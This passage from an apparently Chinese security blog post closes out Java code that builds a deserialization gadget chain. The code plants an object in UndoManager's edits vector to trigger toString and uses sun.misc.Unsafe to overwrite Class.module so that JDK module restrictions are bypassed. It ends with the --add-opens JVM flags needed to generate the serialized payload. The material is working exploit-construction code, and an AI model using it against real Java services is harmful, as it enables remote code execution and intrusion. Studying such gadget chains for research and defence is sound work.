        //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
        Vector vector = (Vector) getFieldValue(undomanager, "edits");
        vector.add(obj);

        setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
        return list;
    }

    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new
                                Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

生成序列化的时候要添加虚拟机选项

1
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
使用 Hugo 构建
主题 StackJimmy 设计